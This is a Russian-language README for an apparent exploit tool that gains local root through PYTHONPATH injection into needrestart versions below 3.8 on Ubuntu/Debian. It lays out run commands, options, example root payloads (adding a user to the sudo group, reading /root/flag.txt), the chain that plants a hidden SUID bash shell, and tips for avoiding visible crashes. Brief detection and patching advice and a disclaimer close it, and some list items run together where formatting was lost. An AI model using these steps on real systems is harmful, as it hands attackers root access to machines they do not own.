
needrestart < 3.8 Локальное повышение привилегий через инъекцию PYTHONPATH
Эксплойт локального повышения привилегий, нацеленный на needrestart < 3.8 в системах Ubuntu/Debian через внедрение PYTHONPATH.
needrestart — это утилита, часто устанавливаемая на серверах Ubuntu/Debian, которая проверяет, какие службы нужно перезапустить после обновления библиотек. Она выполняется от имени root и обычно запускается автоматически после операций с apt или напрямую через sudo.
При проверке процессов Python needrestart повторно запускает интерпретатор Python, наследуя полное окружение процесса из /proc/<pid>/environ — включая PYTHONPATH. Непривилегированный локальный пользователь может использовать это следующим образом:
PYTHONPATH в каталог, содержащий вредоносный пакет importlibimportlib/__init__.py атакующего от root| Пакет | Уязвимая версия | Исправленная версия |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
Подтверждено на:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
Затем запустите needrestart из другого терминала:
# Если у вас есть прямой sudo-доступ к needrestart:
sudo /usr/sbin/needrestart
# Или запустите через apt (needrestart выполняется как хук после apt):
sudo apt update && sudo apt install --reinstall coreutils
После срабатывания needrestart эксплойт создаёт SUID-оболочку в /var/tmp/.rootshell и автоматически предоставляет вам root-доступ.
Если авто-запуск не сработал, получите оболочку вручную:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> Custom shell command to run as root (default: copy suid shell)
-w <seconds> Max wait time in seconds (default: 300)
-t Trigger mode: attempt to trigger needrestart via apt
-n No cleanup: keep payload directory after exploitation
-h Show this help message
# По умолчанию — создаёт SUID-копию /bin/bash в /var/tmp/.rootshell
./exploit.sh
# Авто-запуск needrestart через apt (требуется sudo apt access)
./exploit.sh -t
# Пользовательская нагрузка: добавить текущего пользователя в sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# Пользовательская нагрузка: прочитать ограниченный файл
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Увеличенное время ожидания (10 минут)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Создаёт /tmp/.nr_XXXX/importlib/__init__.py с нагрузкой │
│ которая запускает os.system() для копирования /bin/bash │
│ в SUID-бинарник │
├───────────────────────────────────────────────────────────────┤
│ 2. Запускает долгоживущий процесс Python с │
│ PYTHONPATH=/tmp/.nr_XXXX, экспортируемым в его окружение │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart запускается (через sudo или хук apt), │
│ сканирует /proc/*/environ, находит процесс Python │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart повторно вызывает python3 КАК ROOT, │
│ наследуя PYTHONPATH атакующего → загружает вредоносный │
│ importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Нагрузка выполняется от root: cp /bin/bash + chmod 4755 │
│ → атакующий запускает /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/var/tmp/, а не в /tmp, потому что /tmp часто монтируется с опцией nosuid, которая незаметно снимает SUID-бит.importlib/__init__.py восстанавливает настоящий importlib после выполнения нагрузки, очищая sys.path и sys.modules, чтобы needrestart не упал наглядно..py-файл (не однострочник с -c) для лучшей совместимости со сканированием интерпретаторов needrestart.Признаки, что эксплойт был использован:
/var/tmp/ или /tmp/PYTHONPATH, указывающими на временные каталоги/tmp/.nr_*, содержащие подкаталог importlib/# Обновите needrestart до исправленной версии
sudo apt update && sudo apt install needrestart
# Или полностью отключите сканирование интерпретаторов
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только на системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение для тестирования. Несанкционированный доступ к компьютерным системам противозаконен. Автор не несёт ответственности за неправомерное использование.
MIT